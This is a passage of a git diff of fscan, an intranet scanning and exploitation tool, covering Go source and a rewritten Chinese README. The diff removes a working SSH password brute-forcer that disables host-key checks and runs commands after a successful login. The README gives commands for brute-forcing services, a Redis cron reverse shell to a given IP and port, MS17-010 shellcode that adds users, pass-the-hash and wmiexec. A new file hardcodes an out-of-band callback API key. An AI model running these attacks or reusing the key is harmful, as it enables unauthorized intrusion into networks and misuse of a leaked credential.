- "net" - "strings" - "time" -) - -func SshScan(info *common.HostInfo) (tmperr error) { - if common.IsBrute { - return - } - starttime := time.Now().Unix() - for _, user := range common.Userdict["ssh"] { - for _, pass := range common.Passwords { - pass = strings.Replace(pass, "{user}", user, -1) - flag, err := SshConn(info, user, pass) - if flag == true && err == nil { - return err - } else { - errlog := fmt.Sprintf("[-] ssh %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) - common.LogError(errlog) - tmperr = err - if common.CheckErrs(err) { - return err - } - if time.Now().Unix()-starttime > (int64(len(common.Userdict["ssh"])*len(common.Passwords)) * common.Timeout) { - return err - } - } - if common.SshKey != "" { - return err - } - } - } - return tmperr -} - -func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err error) { - flag = false - Host, Port, Username, Password := info.Host, info.Ports, user, pass - var Auth []ssh.AuthMethod - if common.SshKey != "" { - pemBytes, err := ioutil.ReadFile(common.SshKey) - if err != nil { - return false, errors.New("read key failed" + err.Error()) - } - signer, err := ssh.ParsePrivateKey(pemBytes) - if err != nil { - return false, errors.New("parse key failed" + err.Error()) - } - Auth = []ssh.AuthMethod{ssh.PublicKeys(signer)} - } else { - Auth = []ssh.AuthMethod{ssh.Password(Password)} - } - - config := &ssh.ClientConfig{ - User: Username, - Auth: Auth, - Timeout: time.Duration(common.Timeout) * time.Second, - HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error { - return nil - }, - } - - client, err := ssh.Dial("tcp", fmt.Sprintf("%v:%v", Host, Port), config) - if err == nil { - defer client.Close() - session, err := client.NewSession() - if err == nil { - defer session.Close() - flag = true - var result string - if common.Command != "" { - combo, _ := session.CombinedOutput(common.Command) - result = fmt.Sprintf("[+] SSH %v:%v:%v %v \n %v", Host, Port, Username, Password, string(combo)) - if common.SshKey != "" { - result = fmt.Sprintf("[+] SSH %v:%v sshkey correct \n %v", Host, Port, string(combo)) - } - common.LogSuccess(result) - } else { - result = fmt.Sprintf("[+] SSH %v:%v:%v %v", Host, Port, Username, Password) - if common.SshKey != "" { - result = fmt.Sprintf("[+] SSH %v:%v sshkey correct", Host, Port) - } - common.LogSuccess(result) - } - } - } - return flag, err - -} diff --git a/README.md b/README.md index 696de4b3..60623045 100644 --- a/README.md +++ b/README.md @@ -1,156 +1,189 @@ -# fscan +# Fscan 2.0.0 [English][url-docen] -# 1. 简介 -一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。 -支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。 - -# 2. 主要功能 -1.信息搜集: -* 存活探测(icmp) -* 端口扫描 - -2.爆破功能: -* 各类服务爆破(ssh、smb、rdp等) -* 数据库密码爆破(mysql、mssql、redis、psql、oracle等) - -3.系统信息、漏洞扫描: -* netbios探测、域控识别 -* 获取目标网卡信息 -* 高危漏洞扫描(ms17010等) - -4.Web探测功能: -* webtitle探测 -* web指纹识别(常见cms、oa框架等) -* web漏洞扫描(weblogic、st2等,支持xray的poc) - -5.漏洞利用: -* redis写公钥或写计划任务 -* ssh命令执行 -* ms17017利用(植入shellcode),如添加用户等 - -6.其他功能: -* 文件保存 - -# 3. 使用说明 -简单用法 -``` -fscan.exe -h 192.168.1.1/24 (默认使用全部模块) -fscan.exe -h 192.168.1.1/16 (B段扫描) +# 0x01 简介 +一款功能丰富的内网综合扫描工具,提供一键自动化、全方位的漏洞扫描能力。 + +## 主要功能 + +- 主机存活探测:快速识别内网中的活跃主机 +- 端口扫描:全面检测目标主机开放端口 +- 服务爆破:支持对常见服务进行密码爆破测试 +- 漏洞利用:集成MS17-010等高危漏洞检测 +- Redis利用:支持批量写入公钥进行权限获取 +- 系统信息收集:可读取Windows网卡信息 +- Web应用检测: + - Web指纹识别 + - Web漏洞扫描 +- 域环境探测: + - NetBIOS信息获取 + - 域控制器识别 +- 后渗透功能:支持通过计划任务实现反弹shell + +# 0x02 主要功能 +## 1. 信息搜集 +- 基于ICMP的主机存活探测:快速识别网络中的活跃主机设备 +- 全面的端口扫描:系统地检测目标主机的开放端口情况 + +## 2. 爆破功能 +- 常用服务密码爆破:支持SSH、SMB、RDP等多种协议的身份认证测试 +- 数据库密码爆破:覆盖MySQL、MSSQL、Redis、PostgreSQL、Oracle等主流数据库系统 + +## 3. 系统信息与漏洞扫描 +- 网络信息收集:包括NetBIOS探测和域控制器识别 +- 系统信息获取:能够读取目标系统网卡配置信息 +- 安全漏洞检测:支持MS17-010等高危漏洞的识别与检测 + +## 4. Web应用探测 +- 网站信息收集:自动获取网站标题信息 +- Web指纹识别:可识别常见CMS系统与OA框架 +- 漏洞扫描能力:集成WebLogic、Struts2等漏洞检测,兼容XRay POC + +## 5. 漏洞利用模块 +- Redis利用:支持写入公钥或植入计划任务 +- SSH远程执行:提供SSH命令执行功能 +- MS17-010利用:支持ShellCode注入,可实现添加用户等操作 + +## 6. 辅助功能 +- 扫描结果存储:将所有检测结果保存至文件,便于后续分析 + +# 0x03 使用说明 +## 基础用法 +```bash +# 默认扫描(使用全部模块) +fscan.exe -h 192.168.1.1/24 + +# B段扫描 +fscan.exe -h 192.168.1.1/16 ``` -其他用法 +## 进阶用法 + +### 扫描控制 +```bash +# 跳过存活检测、不保存文件、跳过web poc扫描 +fscan.exe -h 192.168.1.1/24 -np -no -nopoc + +# 指定扫描结果保存路径 +fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt + +# 从文件导入目标 +fscan.exe -hf ip.txt +``` + +### 特定功能 +```bash +# Redis利用 +fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub # 写公钥 +fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 # 计划任务反弹shell + +# SSH操作 +fscan.exe -h 192.168.1.1/24 -c whoami # SSH爆破成功后执行命令 + +# 密码爆破 +fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt # 指定用户名密码文件 +fscan.exe -h 192.168.1.1/24 -m smb -pwd password # SMB密码碰撞 ``` -fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描) -fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥) -fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell) -fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行) -fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口) -fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破) -fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径) -fscan.exe -h 192.168.1.1/8 (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 ) -fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞) -fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块) -fscan.exe -hf ip.txt (以文件导入) -fscan.exe -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080) -fscan.exe -h 192.168.1.1/24 -nobr -nopoc (不进行爆破,不扫Web poc,以减少流量) -fscan.exe -h 192.168.1.1/24 -pa 3389 (在原基础上,加入3389->rdp扫描) -fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080 (只支持简单tcp功能的代理,部分功能的库不支持设置代理) -fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add (内置添加用户等功能,只适用于备选工具,更推荐其他ms17010的专项利用工具) -fscan.exe -h 192.168.1.1/24 -m smb2 -user admin -hash xxxxx (pth hash碰撞,xxxx:ntlmhash,如32ed87bdb5fdc5e9cba88547376818d4) -fscan.exe -h 192.168.1.1/24 -m wmiexec -user admin -pwd password -c xxxxx (wmiexec无回显命令执行) + +### 代理设置 +```bash +# HTTP代理 +fscan.exe -u http://baidu.com -proxy 8080 + +# SOCKS5代理 +fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080 ``` -编译命令 + +### 特定漏洞检测 +```bash +# MS17-010检测 +fscan.exe -h 192.168.1.1/24 -m ms17010 + +# MS17-010利用 +fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add ``` + +## 编译说明 +```bash +# 基础编译 go build -ldflags="-s -w " -trimpath main.go -upx -9 fscan.exe (可选,压缩体积) -``` -arch用户安装 -`yay -S fscan-git 或者 paru -S fscan-git` -完整参数 +# 使用UPX压缩(可选) +upx -9 fscan.exe ``` - -c string - ssh命令执行 - -cookie string - 设置cookie - -debug int - 多久没响应,就打印当前进度(default 60) - -domain string - smb爆破模块时,设置域名 - -h string - 目标ip: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12 - -hf string - 读取文件中的目标 - -hn string - 扫描时,要跳过的ip: -hn 192.168.1.1/24 - -m string - 设置扫描模式: -m ssh (default "all") - -no - 扫描结果不保存到文件中 - -nobr - 跳过sql、ftp、ssh等的密码爆破 - -nopoc - 跳过web poc扫描 - -np - 跳过存活探测 - -num int - web poc 发包速率 (default 20) - -o string - 扫描结果保存到哪 (default "result.txt") - -p string - 设置扫描的端口: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017") - -pa string - 新增需要扫描的端口,-pa 3389 (会在原有端口列表基础上,新增该端口) - -path string - fcgi、smb romote file path - -ping - 使用ping代替icmp进行存活探测 - -pn string - 扫描时要跳过的端口,as: -pn 445 - -pocname string - 指定web poc的模糊名字, -pocname weblogic - -proxy string - 设置代理, -proxy http://127.0.0.1:8080 - -user string - 指定爆破时的用户名 - -userf string - 指定爆破时的用户名文件 - -pwd string - 指定爆破时的密码 - -pwdf string - 指定爆破时的密码文件 - -rf string - 指定redis写公钥用模块的文件 (as: -rf id_rsa.pub) - -rs string - redis计划任务反弹shell的ip端口 (as: -rs 192.168.1.1:6666) - -silent - 静默扫描,适合cs扫描时不回显 - -sshkey string - ssh连接时,指定ssh私钥 - -t int - 扫描线程 (default 600) - -time int - 端口扫描超时时间 (default 3) - -u string - 指定Url扫描 - -uf string - 指定Url文件扫描 - -wt int - web访问超时时间 (default 5) - -pocpath string - 指定poc路径 - -usera string - 在原有用户字典基础上,新增新用户 - -pwda string - 在原有密码字典基础上,增加新密码 - -socks5 - 指定socks5代理 (as: -socks5 socks5://127.0.0.1:1080) - -sc - 指定ms17010利用模块shellcode,内置添加用户等功能 (as: -sc add) + +## Arch Linux安装 +```bash +# 使用yay +yay -S fscan-git + +# 或使用paru +paru -S fscan-git ``` -# 4. 运行截图 +# 0x04 参数说明 + +## 目标设置 +- `-h` : 设置目标IP + - 支持单个IP:`192.168.11.11` + - 支持IP范围:`192.168.11.11-255` + - 支持多个IP:`192.168.11.11,192.168.11.12` +- `-hf` : 从文件读取目标 +- `-hn` : 设置要排除的IP范围 +- `-u` : 指定单个URL扫描 +- `-uf` : 指定URL文件扫描 + +## 扫描控制 +- `-m` : 指定扫描模式,默认为"all" +- `-t` : 设置扫描线程数,默认600 +- `-time` : 端口扫描超时时间,默认3秒 +- `-wt` : Web访问超时时间,默认5秒 +- `-debug` : 设置进度打印间隔,默认60秒 +- `-silent` : 开启静默模式,适用于CS扫描 + +## 端口配置 +- `-p` : 指定扫描端口 + - 默认端口:21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017 +- `-pa` : 在默认端口基础上新增端口 +- `-pn` : 设置要排除的端口 + +## 爆破相关 +- `-user` : 指定用户名 +- `-userf` : 指定用户名文件 +- `-pwd` : 指定密码 +- `-pwdf` : 指定密码文件 +- `-usera` : 在默认用户字典基础上新增用户 +- `-pwda` : 在默认密码字典基础上新增密码 + +## Web相关 +- `-cookie` : 设置Cookie +- `-num` : Web POC发包速率,默认20 +- `-pocname` : 指定Web POC的模糊名称 +- `-pocpath` : 指定POC路径 + +## 代理设置 +- `-proxy` : 设置HTTP代理 +- `-socks5` : 设置SOCKS5代理 + +## 输出控制 +- `-o` : 设置结果保存路径,默认"result.txt" +- `-no` : 不保存扫描结果 +- `-nobr` : 跳过密码爆破 +- `-nopoc` : 跳过Web POC扫描 +- `-np` : 跳过存活探测 + +## 特殊功能 +- `-c` : SSH命令执行 +- `-domain` : SMB爆破时设置域名 +- `-rf` : Redis写公钥模块的文件路径 +- `-rs` : Redis计划任务反弹shell的IP端口 +- `-sshkey` : 指定SSH私钥路径 +- `-sc` : MS17010利用模块shellcode功能 + +## 存活探测 +- `-ping` : 使用ping代替ICMP进行存活探测 + +# 0x05 运行截图 `fscan.exe -h 192.168.x.x (全功能、ms17010、读取网卡信息)` ![](image/1.png) @@ -175,7 +208,7 @@ arch用户安装 `go run .\main.go -h 192.0.0.0/8 -m icmp(探测每个C段的网关和数个随机IP,并统计top 10 B、C段存活数量)` ![img.png](image/live.png) -# 5. 免责声明 +# 0x06 免责声明 本工具仅面向**合法授权**的企业安全建设行为,如您需要测试本工具的可用性,请自行搭建靶机环境。 @@ -186,10 +219,11 @@ arch用户安装 如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。 在安装并使用本工具前,请您**务必审慎阅读、充分理解各条款内容**,限制、免责条款或者其他涉及您重大权益的条款可能会以加粗、加下划线等形式提示您重点注意。 + 除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要安装并使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。 -# 6. 404StarLink 2.0 - Galaxy +# 0x07 404StarLink 2.0 - Galaxy ![](https://github.com/knownsec/404StarLink-Project/raw/master/logo.png) fscan 是 404Team [星链计划2.0](https://github.com/knownsec/404StarLink2.0-Galaxy) 中的一环,如果对fscan 有任何疑问又或是想要找小伙伴交流,可以参考星链计划的加群方式。 @@ -197,13 +231,13 @@ fscan 是 404Team [星链计划2.0](https://github.com/knownsec/404StarLink2.0-G - [https://github.com/knownsec/404StarLink2.0-Galaxy#community](https://github.com/knownsec/404StarLink2.0-Galaxy#community) 演示视频[【安全工具】5大功能,一键化内网扫描神器——404星链计划fscan](https://www.bilibili.com/video/BV1Cv4y1R72M) -# 7. Star Chart +# 0x08 Star Chart [![Stargazers over time](https://starchart.cc/shadow1ng/fscan.svg)](https://starchart.cc/shadow1ng/fscan) -# 8. 捐赠 +# 0x09 捐赠 如果你觉得这个项目对你有帮助,你可以请作者喝饮料🍹 [点我](image/sponsor.png) -# 9. 参考链接 +# 0x10 参考链接 https://github.com/Adminisme/ServerScan https://github.com/netxfly/x-crack https://github.com/hack2fun/Gscan @@ -211,36 +245,56 @@ https://github.com/k8gege/LadonGo https://github.com/jjf012/gopoc -# 10. 最近更新 -[+] 2023/11/13 加入控制台颜色输出(可-nocolor)、保存文件json结构(-json)、修改tls最低版本为1.0、端口分组(-p db,web,service)。 -[+] 2022/11/19 加入hash碰撞、wmiexec无回显命令执行。 -[+] 2022/7/14 -hf 支持host:port和host/xx:port格式,rule.Search 正则匹配范围从body改成header+body,-nobr不再包含-nopoc.优化webtitle 输出格式。 -[+] 2022/7/6 加入手工gc回收,尝试节省无用内存。 -url 支持逗号隔开。 修复一个poc模块bug。-nobr不再包含-nopoc。 -[+] 2022/7/2 加强poc fuzz模块,支持跑备份文件、目录、shiro-key(默认跑10key,可用-full参数跑100key)等。新增ms17017利用(使用参数: -sc add),可在ms17010-exp.go自定义shellcode,内置添加用户等功能。 -新增poc、指纹。支持socks5代理。因body指纹更全,默认不再跑ico图标。 -[+] 2022/4/20 poc模块加入指定目录或文件 -pocpath poc路径,端口可以指定文件-portf port.txt,rdp模块加入多线程爆破demo, -br xx指定线程。 -[+] 2022/2/25 新增-m webonly,跳过端口扫描,直接访问http。致谢@AgeloVito -[+] 2022/1/11 新增oracle密码爆破。 -[+] 2022/1/7 扫ip/8时,默认会扫每个C段的网关和数个随机IP,推荐参数:-h ip/8 -m icmp.新增LiveTop功能,检测存活时,默认会输出top10的B、C段ip存活数量。 -[+] 2021/12/7 新增rdp扫描,新增添加端口参数-pa 3389(会在原有端口列表基础上,新增该端口)。 -[+] 2021/12/1 优化xray解析模块,支持groups、新增poc,加入https判断(tls握手包),优化ip解析模块(支持所有ip/xx),增加爆破关闭参数 -nobr,添加跳过某些ip扫描功能 -hn 192.168.1.1,添加跳过某些端口扫描功能-pn 21,445,增加扫描docker未授权漏洞。 -[+] 2021/6/18 改善一下poc的机制,如果识别出指纹会根据指纹信息发送poc,如果没有识别到指纹才会把所有poc打一遍。 -[+] 2021/5/29 加入fcgi协议未授权命令执行扫描,优化poc模块,优化icmp模块,ssh模块加入私钥连接。 -[+] 2021/5/15 新增win03版本(删减了xray_poc模块),增加-silent 静默扫描模式,添加web指纹,修复netbios模块数组越界,添加一个CheckErrs字典,webtitle 增加gzip解码。 -[+] 2021/5/6 更新mod库、poc、指纹。修改线程处理机制、netbios探测、域控识别模块、webtitle编码模块等。 -[+] 2021/4/22 修改webtitle模块,加入gbk解码。 -[+] 2021/4/21 加入netbios探测、域控识别。 -[+] 2021/3/4 支持-u url或者-uf url.txt,对url进行批量扫描。 -[+] 2021/2/25 修改yaml解析模块,支持密码爆破,如tomcat弱口令。yaml中新增sets参数,类型为数组,用于存放密码,具体看tomcat-manager-week.yaml。 -[+] 2021/2/8 增加指纹识别功能,可识别常见CMS、框架,如致远OA、通达OA等。 -[+] 2021/2/5 修改icmp发包模式,更适合大规模探测。 -修改报错提示,-debug时,如果10秒内没有新的进展,每隔10秒就会打印一下当前进度。 -[+] 2020/12/12 已加入yaml解析引擎,支持xray的Poc,默认使用所有Poc(已对xray的poc进行了筛选),可以使用-pocname weblogic,只使用某种或某个poc。需要go版本1.16以上,只能自行编译最新版go来进行测试。 -[+] 2020/12/6 优化icmp模块,新增-domain 参数(用于smb爆破模块,适用于域用户) 。 -[+] 2020/12/03 优化ip段处理模块、icmp、端口扫描模块。新增支持192.168.1.1-192.168.255.255。 -[+] 2020/11/17 增加-ping 参数,作用是存活探测模块用ping代替icmp发包。 -[+] 2020/11/17 增加WebScan模块,新增shiro简单识别。https访问时,跳过证书认证。将服务模块和web模块的超时分开,增加-wt 参数(WebTimeout)。 -[+] 2020/11/16 对icmp模块进行优化,增加-it 参数(IcmpThreads),默认11000,适合扫B段 。 -[+] 2020/11/15 支持ip以文件导入,-hf ip.txt,并对去重做了处理。 +# 0x11 最近更新 +## 2024 更新 + +- **2024/12/19**: v2.0.0 重大更新 + - 完整代码重构,提升性能和可维护性 + - 重新设计模块化架构,支持插件扩展 + - 改进并发控制,提升扫描效率 + +## 2023 更新 + +- **2023/11/13**: + - 新增控制台颜色输出(可用 `-nocolor` 关闭) + - 支持JSON格式保存结果(`-json`) + - 调整TLS最低版本至1.0 + - 支持端口分组(`-p db,web,service`) + +## 2022 更新 +- **2022/11/19**: 新增hash碰撞和wmiexec无回显命令执行功能 +- **2022/7/14**: 改进文件导入支持和搜索匹配功能 +- **2022/7/6**: 优化内存管理,扩展URL支持 +- **2022/7/2**: + - 增强POC fuzz模块 + - 新增MS17017利用功能 + - 加入socks5代理支持 +- **2022/4/20**: 新增POC路径指定和端口文件导入功能 +- **2022/2/25**: 新增webonly模式(致谢 @AgeloVito) +- **2022/1/11**: 新增Oracle密码爆破 +- **2022/1/7**: 改进大规模网段扫描,新增LiveTop功能 + +## 2021 更新 +- **2021/12/7**: 新增RDP扫描功能 +- **2021/12/1**: 全面优化功能模块 +- **2021/6/18**: 改进POC识别机制 +- **2021/5/29**: 新增FCGI未授权扫描 +- **2021/5/15**: 发布Windows 2003版本 +- **2021/5/6**: 更新核心模块 +- **2021/4/21**: 加入NetBIOS探测和域控识别 +- **2021/3/4**: 支持URL批量扫描 +- **2021/2/25**: 支持密码爆破功能 +- **2021/2/8**: 新增指纹识别功能 +- **2021/2/5**: 优化ICMP探测 + +## 2020 更新 +- **2020/12/12**: 集成YAML解析引擎,支持XRay POC +- **2020/12/6**: 优化ICMP模块 +- **2020/12/03**: 改进IP段处理 +- **2020/11/17**: 新增WebScan模块 +- **2020/11/16**: 优化ICMP模块 +- **2020/11/15**: 支持文件导入IP + +_感谢所有为项目做出贡献的开发者_ [url-docen]: README_EN.md diff --git a/WebScan/InfoScan.go b/WebScan/InfoScan.go index 5dcc4491..8ee936d3 100644 --- a/WebScan/InfoScan.go +++ b/WebScan/InfoScan.go @@ -3,67 +3,96 @@ package WebScan import ( "crypto/md5" "fmt" + "github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/WebScan/info" - "github.com/shadow1ng/fscan/common" "regexp" ) +// CheckDatas 存储HTTP响应的检查数据 type CheckDatas struct { - Body []byte - Headers string + Body []byte // 响应体 + Headers string // 响应头 } +// InfoCheck 检查URL的指纹信息 func InfoCheck(Url string, CheckData *[]CheckDatas) []string { - var matched bool - var infoname []string + var matchedInfos []string + // 遍历检查数据 for _, data := range *CheckData { + // 规则匹配检查 for _, rule := range info.RuleDatas { - if rule.Type == "code" { - matched, _ = regexp.MatchString(rule.Rule, string(data.Body)) - } else { - matched, _ = regexp.MatchString(rule.Rule, data.Headers) + var matched bool + var err error + + // 根据规则类型选择匹配内容 + switch rule.Type { + case "code": + matched, err = regexp.MatchString(rule.Rule, string(data.Body)) + default: + matched, err = regexp.MatchString(rule.Rule, data.Headers) } - if matched == true { - infoname = append(infoname, rule.Name) + + // 处理匹配错误 + if err != nil { + Common.LogError(fmt.Sprintf("规则匹配错误 [%s]: %v", rule.Name, err)) + continue + } + + // 添加匹配成功的规则名 + if matched { + matchedInfos = append(matchedInfos, rule.Name) } } - //flag, name := CalcMd5(data.Body) - //if flag == true { - // infoname = append(infoname, name) - //} + // MD5匹配检查暂时注释 + /* + if flag, name := CalcMd5(data.Body); flag { + matchedInfos = append(matchedInfos, name) + } + */ } - infoname = removeDuplicateElement(infoname) + // 去重处理 + matchedInfos = removeDuplicateElement(matchedInfos) - if len(infoname) > 0 { - result := fmt.Sprintf("[+] InfoScan %-25v %s ", Url, infoname) - common.LogSuccess(result) - return infoname + // 输出结果 + if len(matchedInfos) > 0 { + result := fmt.Sprintf("[+] 发现指纹 目标: %-25v 指纹: %s", Url, matchedInfos) + Common.LogSuccess(result) + return matchedInfos } + return []string{""} } +// CalcMd5 计算内容的MD5并与指纹库比对 func CalcMd5(Body []byte) (bool, string) { - has := md5.Sum(Body) - md5str := fmt.Sprintf("%x", has) - for _, md5data := range info.Md5Datas { - if md5str == md5data.Md5Str { - return true, md5data.Name + contentMd5 := fmt.Sprintf("%x", md5.Sum(Body)) + + // 比对MD5指纹库 + for _, md5Info := range info.Md5Datas { + if contentMd5 == md5Info.Md5Str { + return true, md5Info.Name } } + return false, "" } -func removeDuplicateElement(languages []string) []string { - result := make([]string, 0, len(languages)) - temp := map[string]struct{}{} - for _, item := range languages { - if _, ok := temp[item]; !ok { - temp[item] = struct{}{} +// removeDuplicateElement 移除切片中的重复元素 +func removeDuplicateElement(items []string) []string { + // 预分配空间 + result := make([]string, 0, len(items)) + seen := make(map[string]struct{}, len(items)) + + // 使用map去重 + for _, item := range items { + if _, exists := seen[item]; !exists { + seen[item] = struct{}{} result = append(result, item) } } + return result } diff --git a/WebScan/WebScan.go b/WebScan/WebScan.go index 44e88f2a..a28fcede 100644 --- a/WebScan/WebScan.go +++ b/WebScan/WebScan.go @@ -3,8 +3,8 @@ package WebScan import ( "embed" "fmt" + "github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/WebScan/lib" - "github.com/shadow1ng/fscan/common" "net/http" "os" "path/filepath" @@ -17,15 +17,22 @@ var Pocs embed.FS var once sync.Once var AllPocs []*lib.Poc -func WebScan(info *common.HostInfo) { +// WebScan 执行Web漏洞扫描 +func WebScan(info *Common.HostInfo) { + // 确保POC只初始化一次 once.Do(initpoc) - var pocinfo = common.Pocinfo - buf := strings.Split(info.Url, "/") - pocinfo.Target = strings.Join(buf[:3], "/") + // 构建扫描信息 + var pocinfo = Common.Pocinfo + urlParts := strings.Split(info.Url, "/") + pocinfo.Target = strings.Join(urlParts[:3], "/") + + // 执行扫描 if pocinfo.PocName != "" { + // 指定POC扫描 Execute(pocinfo) } else { + // 根据指纹信息选择POC扫描 for _, infostr := range info.Infostr { pocinfo.PocName = lib.CheckInfoPoc(infostr) Execute(pocinfo) @@ -33,69 +40,80 @@ func WebScan(info *common.HostInfo) { } } -func Execute(PocInfo common.PocInfo) { +// Execute 执行具体的POC检测 +func Execute(PocInfo Common.PocInfo) { + // 创建基础HTTP请求 req, err := http.NewRequest("GET", PocInfo.Target, nil) if err != nil { - errlog := fmt.Sprintf("[-] webpocinit %v %v", PocInfo.Target, err) - common.LogError(errlog) + Common.LogError(fmt.Sprintf("初始化请求失败 %v: %v", PocInfo.Target, err)) return } - req.Header.Set("User-agent", common.UserAgent) - req.Header.Set("Accept", common.Accept) + + // 设置请求头 + req.Header.Set("User-agent", Common.UserAgent) + req.Header.Set("Accept", Common.Accept) req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9") - if common.Cookie != "" { - req.Header.Set("Cookie", common.Cookie) + if Common.Cookie != "" { + req.Header.Set("Cookie", Common.Cookie) } + + // 根据名称筛选POC并执行 pocs := filterPoc(PocInfo.PocName) - lib.CheckMultiPoc(req, pocs, common.PocNum) + lib.CheckMultiPoc(req, pocs, Common.PocNum) } +// initpoc 初始化POC加载 func initpoc() { - if common.PocPath == "" { + if Common.PocPath == "" { + // 从嵌入的POC目录加载 entries, err := Pocs.ReadDir("pocs") if err != nil { - fmt.Printf("[-] init poc error: %v", err) + Common.LogError(fmt.Sprintf("加载内置POC失败: %v", err)) return } - for _, one := range entries { - path := one.Name() - if strings.HasSuffix(path, ".yaml") || strings.HasSuffix(path, ".yml") { - if poc, _ := lib.LoadPoc(path, Pocs); poc != nil { + + // 加载YAML格式的POC文件 + for _, entry := range entries { + filename := entry.Name() + if strings.HasSuffix(filename, ".yaml") || strings.HasSuffix(filename, ".yml") { + if poc, err := lib.LoadPoc(filename, Pocs); err == nil && poc != nil { AllPocs = append(AllPocs, poc) } } } } else { - fmt.Println("[+] load poc from " + common.PocPath) - err := filepath.Walk(common.PocPath, - func(path string, info os.FileInfo, err error) error { - if err != nil || info == nil { - return err - } - if !info.IsDir() { - if strings.HasSuffix(path, ".yaml") || strings.HasSuffix(path, ".yml") { - poc, _ := lib.LoadPocbyPath(path) - if poc != nil { - AllPocs = append(AllPocs, poc) - } - } + // 从指定目录加载POC + Common.LogSuccess(fmt.Sprintf("[*] 从目录加载POC: %s", Common.PocPath)) + err := filepath.Walk(Common.PocPath, func(path string, info os.FileInfo, err error) error { + if err != nil || info == nil { + return err + } + + if !info.IsDir() && (strings.HasSuffix(path, ".yaml") || strings.HasSuffix(path, ".yml")) { + if poc, err := lib.LoadPocbyPath(path); err == nil && poc != nil { + AllPocs = append(AllPocs, poc) } - return nil - }) + } + return nil + }) + if err != nil { - fmt.Printf("[-] init poc error: %v", err) + Common.LogError(fmt.Sprintf("[-] 加载外部POC失败: %v", err)) } } } -func filterPoc(pocname string) (pocs []*lib.Poc) { +// filterPoc 根据POC名称筛选 +func filterPoc(pocname string) []*lib.Poc { if pocname == "" { return AllPocs } + + var matchedPocs []*lib.Poc for _, poc := range AllPocs { if strings.Contains(poc.Name, pocname) { - pocs = append(pocs, poc) + matchedPocs = append(matchedPocs, poc) } } - return + return matchedPocs } diff --git a/WebScan/info/rules.go b/WebScan/info/Rules.go similarity index 100% rename from WebScan/info/rules.go rename to WebScan/info/Rules.go diff --git a/WebScan/lib/Check.go b/WebScan/lib/Check.go new file mode 100644 index 00000000..79f96cd6 --- /dev/null +++ b/WebScan/lib/Check.go @@ -0,0 +1,729 @@ +package lib + +import ( + "crypto/md5" + "fmt" + "github.com/google/cel-go/cel" + "github.com/shadow1ng/fscan/Common" + "github.com/shadow1ng/fscan/WebScan/info" + "math/rand" + "net/http" + "net/url" + "regexp" + "strings" + "sync" + "time" +) + +// API配置常量 +const ( + ceyeApi = "a78a1cb49d91fe09e01876078d1868b2" // Ceye平台的API密钥 + ceyeDomain = "7wtusr.ceye.io" // Ceye平台的域名 +) + +// Task 定义单个POC检测任务的结构体 +type Task struct { + Req *http.Request // HTTP请求对象 + Poc *Poc // POC检测脚本 +} + +// CheckMultiPoc 并发执行多个POC检测 +// 参数说明: +// - req: HTTP请求对象 +// - pocs: POC检测脚本列表 +// - workers: 并发工作协程数量 +func CheckMultiPoc(req *http.Request, pocs []*Poc, workers int) { + if workers <= 0 { + workers = 1 // 确保至少有一个工作协程 + } + + tasks := make(chan Task, len(pocs)) // 使用带缓冲的通道,避免阻塞 + var wg sync.WaitGroup + + // 启动工作协程池 + for i := 0; i < workers; i++ { + go func() { + for task := range tasks { + // 执行POC检测 + isVulnerable, details, vulName := executePoc(task.Req, task.Poc) + + if isVulnerable { + // 格式化输出结果 + result := fmt.Sprintf("[+] [发现漏洞] 目标: %s\n"+ + " 漏洞类型: %s\n"+ + " 漏洞名称: %s\n"+ + " 详细信息: %s", + task.Req.URL, + task.Poc.Name, + vulName, + details) + + Common.LogSuccess(result) + } + wg.Done() + } + }() + } + + // 分发任务 + for _, poc := range pocs { + wg.Add(1) + tasks <- Task{ + Req: req, + Poc: poc, + } + } + + // 等待所有任务完成 + wg.Wait() + close(tasks) +} + +// executePoc 执行单个POC检测 +func executePoc(oReq *http.Request, p *Poc) (bool, error, string) { + // 初始化环境配置 + config := NewEnvOption() + config.UpdateCompileOptions(p.Set) + + // 处理额外的设置项 + if len(p.Sets) > 0 { + var setMap StrMap + for _, item := range p.Sets { + value := "" + if len(item.Value) > 0 { + value = item.Value[0] + } + setMap = append(setMap, StrItem{item.Key, value}) + } + 